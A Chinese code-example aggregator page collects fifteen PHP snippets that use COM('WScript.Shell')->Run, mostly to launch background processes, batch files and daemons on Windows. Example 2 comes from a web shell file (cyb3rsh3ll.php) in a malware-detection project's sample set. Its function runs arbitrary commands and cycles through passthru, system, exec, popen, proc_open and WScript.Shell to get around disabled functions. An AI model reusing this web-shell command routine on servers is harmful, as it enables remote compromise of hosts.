当前位置: 首页>>代码示例>>PHP>>正文


PHP COM::Run方法代码示例

本文整理汇总了PHP中COM::Run方法的典型用法代码示例。如果您正苦于以下问题:PHP COM::Run方法的具体用法?PHP COM::Run怎么用?PHP COM::Run使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在COM的用法示例。


在下文中一共展示了COM::Run方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: open

 static function open($exec, $cwd = null)
 {
     if (!is_string($cwd)) {
         $cwd = @getcwd();
     }
     @chdir($cwd);
     if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
         $WshShell = new \COM("WScript.Shell");
         $WshShell->CurrentDirectory = str_replace('/', '\\', $cwd);
         $WshShell->Run($exec, 0, false);
     } else {
         exec($exec . " > /dev/null 2>&1 &");
     }
 }
开发者ID:sudevva,项目名称:parser2,代码行数:14,代码来源:BackgroundProcess.php

示例2: shelL

function shelL($command)
{
    global $windows, $disablefunctions;
    $exec = '';
    $output = '';
    $dep[] = array('pipe', 'r');
    $dep[] = array('pipe', 'w');
    if (is_callable('passthru') && !strstr($disablefunctions, 'passthru')) {
        @ob_start();
        passthru($command);
        $exec = @ob_get_contents();
        @ob_clean();
        @ob_end_clean();
    } elseif (is_callable('system') && !strstr($disablefunctions, 'system')) {
        $tmp = @ob_get_contents();
        @ob_clean();
        system($command);
        $output = @ob_get_contents();
        @ob_clean();
        $exec = $tmp;
    } elseif (is_callable('exec') && !strstr($disablefunctions, 'exec')) {
        exec($command, $output);
        $output = join("\n", $output);
        $exec = $output;
    } elseif (is_callable('shell_exec') && !strstr($disablefunctions, 'shell_exec')) {
        $exec = shell_exec($command);
    } elseif (is_resource($output = popen($command, "r"))) {
        while (!feof($output)) {
            $exec = fgets($output);
        }
        pclose($output);
    } elseif (is_resource($res = proc_open($command, $dep, $pipes))) {
        while (!feof($pipes[1])) {
            $line = fgets($pipes[1]);
            $output .= $line;
        }
        $exec = $output;
        proc_close($res);
    } elseif ($windows && is_object($ws = new COM("WScript.Shell"))) {
        $dir = isset($_SERVER["TEMP"]) ? $_SERVER["TEMP"] : ini_get('upload_tmp_dir');
        $name = $_SERVER["TEMP"] . namE();
        $ws->Run("cmd.exe /C {$command} >{$name}", 0, true);
        $exec = file_get_contents($name);
        unlink($name);
    }
    return $exec;
}
开发者ID:nbs-system,项目名称:php-malware-finder,代码行数:47,代码来源:cyb3rsh3ll.php

示例3: _exec

function _exec($cmd)
{
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run("{$cmd}", 3, false);
    //echo $cmd;
    return $oExec == 0 ? true : false;
}
开发者ID:tofula,项目名称:m4loc,代码行数:7,代码来源:common.php

示例4: COM

 function execBg2()
 {
     $tmpBat = $this->tempBat();
     $WshShell = new COM("WScript.Shell");
     $oExec = $WshShell->Run($tmpBat, 0, false);
     return $oExec == 0 ? true : false;
 }
开发者ID:bruno-melo,项目名称:components,代码行数:7,代码来源:ExecBatch.php

示例5: RemoveDir

function RemoveDir($dir, $verbose)
{
    if (!($dh = @opendir($dir))) {
        if ($verbose) {
            echo "can't open {$dir}                                                                                                    \r";
        }
        return;
    } else {
        while (false !== ($obj = readdir($dh))) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $newDir = $dir . '\\' . $obj;
            if (@unlink($newDir)) {
                if ($verbose) {
                    echo "file deleted {$newDir}...                                                                                           \r";
                }
                //$file_deleted++;
            } else {
                RemoveDir($newDir, $verbose);
            }
        }
    }
    $cmdline = "cmd /c rmdir {$dir}";
    $WshShell = new COM("WScript.Shell");
    // Make the command window but dont show it.
    $oExec = $WshShell->Run($cmdline, 0, false);
}
开发者ID:kotow,项目名称:work,代码行数:28,代码来源:deleteall.php

示例6: notify

function notify($type, $title, $message)
{
    $WshShell = new COM("WScript.Shell");
    $command = 'cmd /C %cd%/exe/notifu.exe /t ' . $type . ' /p "' . $title . '" /m "' . $message . '"';
    exec($command);
    $WshShell->Run($command, 0, false);
}
开发者ID:madnerdTRASH,项目名称:webmanage,代码行数:7,代码来源:func.php

示例7: runServer

function runServer()
{
    $WshShell = new COM("WScript.Shell");
    if (!file_exists('server.cmd')) {
        fwrite(fopen('server.cmd', 'w'), 'start C:\\xampp\\php\\php.exe ' . getcwd() . '\\server.php');
    }
    $WshShell->Run(getcwd() . '\\server.cmd', 7, false);
}
开发者ID:TheWandererLee,项目名称:Git-Projects,代码行数:8,代码来源:serverControl.php

示例8: on_click

function on_click($widget, $event, $title, $url)
{
    $shell = new COM('WScript.Shell');
    // note 1
    $shell->Run('cmd /c start "" "' . $url . '"', 0, FALSE);
    // note 1
    unset($shell);
}
开发者ID:amitjoy,项目名称:php-gtk,代码行数:8,代码来源:link2.php

示例9: execute

 /**
  * Execute the command.
  *
  * @param Command $command
  * @param bool    $background
  *
  * @return null|string|array
  */
 public function execute(Command $command, $background = false)
 {
     $cmd = $command->getCommandLine();
     if ($background) {
         $WshShell = new \COM("WScript.Shell");
         return $WshShell->Run($cmd, 7, false);
     } else {
         exec($cmd, $exec);
         return $exec;
     }
 }
开发者ID:ark4ne,项目名称:php-processes,代码行数:19,代码来源:OSWindows.php

示例10: runAsyncBatch

function runAsyncBatch($command, $filename)
{
    $BatchFile = fopen("Power106.bat", 'w');
    fwrite($BatchFile, "@Echo off\r\n");
    fwrite($BatchFile, "Title {$filename}\r\n");
    fwrite($BatchFile, "{$command}\r\n");
    fwrite($BatchFile, "Pause\r\n");
    fclose($BatchFile);
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run("Power106.bat", 1, false);
    unset($WshShell, $oExec);
}
开发者ID:Deadlystrict,项目名称:Scripts,代码行数:12,代码来源:Power106.php

示例11: email

function email($to, $sub, $txt, $html)
{
    $json = array();
    $json["who"] = $to;
    $json["sub"] = $sub;
    $json["txt"] = $txt;
    $json["html"] = $html;
    $jso = json_encode($json);
    $name = var_export(rand(0, 99), true) . "_" . var_export(rand(0, 99), true) . "_" . var_export(rand(0, 99), true) . "_" . var_export(rand(0, 99), true);
    file_put_contents(realpath(dirname(__FILE__)) . '\\' . $name . ".txt", $jso);
    $handle = new COM('WScript.Shell');
    $handle->Run('"' . realpath(dirname(__FILE__)) . '\\EasyMail.exe" -fb "-path:' . realpath(dirname(__FILE__)) . '\\' . $name . ".txt", 0, false);
    return '"' . realpath(dirname(__FILE__)) . '\\EasyMail.exe" -fb "-path:' . realpath(dirname(__FILE__)) . '\\' . $name . ".txt";
}
开发者ID:JMteam09,项目名称:EasyMail,代码行数:14,代码来源:easymail.php

示例12: run

 /**
  * Run daemon in background
  *
  * @throws \RuntimeException
  * @return int|null          The process id if running successfully, null otherwise
  */
 public function run()
 {
     if ($this->getPid()) {
         throw new \RuntimeException('Daemon process already started');
     }
     // workaround for Windows
     if (defined('PHP_WINDOWS_VERSION_BUILD')) {
         $wsh = new \COM('WScript.shell');
         $wsh->Run($this->getQueueRunCmd(), 0, false);
         return $this->getPid();
     }
     $process = $this->getQueueRunProcess();
     $process->run();
     return $this->getPid();
 }
开发者ID:ashutosh-srijan,项目名称:findit_akeneo,代码行数:21,代码来源:Daemon.php

示例13: runWindows

 protected function runWindows($job)
 {
     if (!$this->checkPHPBinary($job)) {
         return;
     }
     if (!extension_loaded("COM")) {
         $this->fail("Cannot run PHP binary, please enable COM extension");
     }
     $WshShell = new COM("WScript.Shell");
     chdir(dirname(__FILE__) . "/../../");
     $command = sprintf("%s -f run_job.php %s %s", $sugar_config['cron']['php_binary'], $job->id, $this->getMyId());
     $WshShell->Run($command, 0, false);
     // no window, don't wait for return
     $WshShell->Release();
 }
开发者ID:jglaine,项目名称:sugar761-ent,代码行数:15,代码来源:SugarCronParallelJobs.php

示例14: openFile

 /**
  * Open a File Dialog
  * @param $file File Name
  */
 public function openFile($file)
 {
     $ini = parse_ini_file('application.ini');
     $viewer = $ini['viewer'];
     if (file_exists($viewer)) {
         if (OS != 'WIN') {
             exec("{$viewer} {$file} >/dev/null &");
         } else {
             $WshShell = new COM("WScript.Shell");
             $WshShell->Run("{$file}", 0, true);
         }
     } else {
         throw new Exception(AdiantiCoreTranslator::translate('File not found') . ': ' . $viewer);
     }
 }
开发者ID:klausetgeton,项目名称:esales-gtk,代码行数:19,代码来源:TPage.php

示例15: run

 /**
  * Run daemon in background
  *
  * @param string $outputFile
  * @throws \RuntimeException
  * @return int|null The process id if running successfully, null otherwise
  */
 public function run($outputFile = '/dev/null')
 {
     if ($this->getPid()) {
         throw new \RuntimeException('Daemon process already started');
     }
     // workaround for Windows
     if (defined('PHP_WINDOWS_VERSION_BUILD')) {
         $wsh = new \COM('WScript.shell');
         $wsh->Run($this->getQueueRunCmd(), 0, false);
         $this->dateStart = new \DateTime('now');
         return $this->getPid();
     }
     $this->pid = shell_exec(sprintf('%s > %s 2>&1 & echo $!', $this->getQueueRunCmd(), $outputFile));
     $this->dateStart = new \DateTime('now');
     return $this->getPid();
 }
开发者ID:xamin123,项目名称:platform,代码行数:23,代码来源:Daemon.php


注:本文中的COM::Run方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。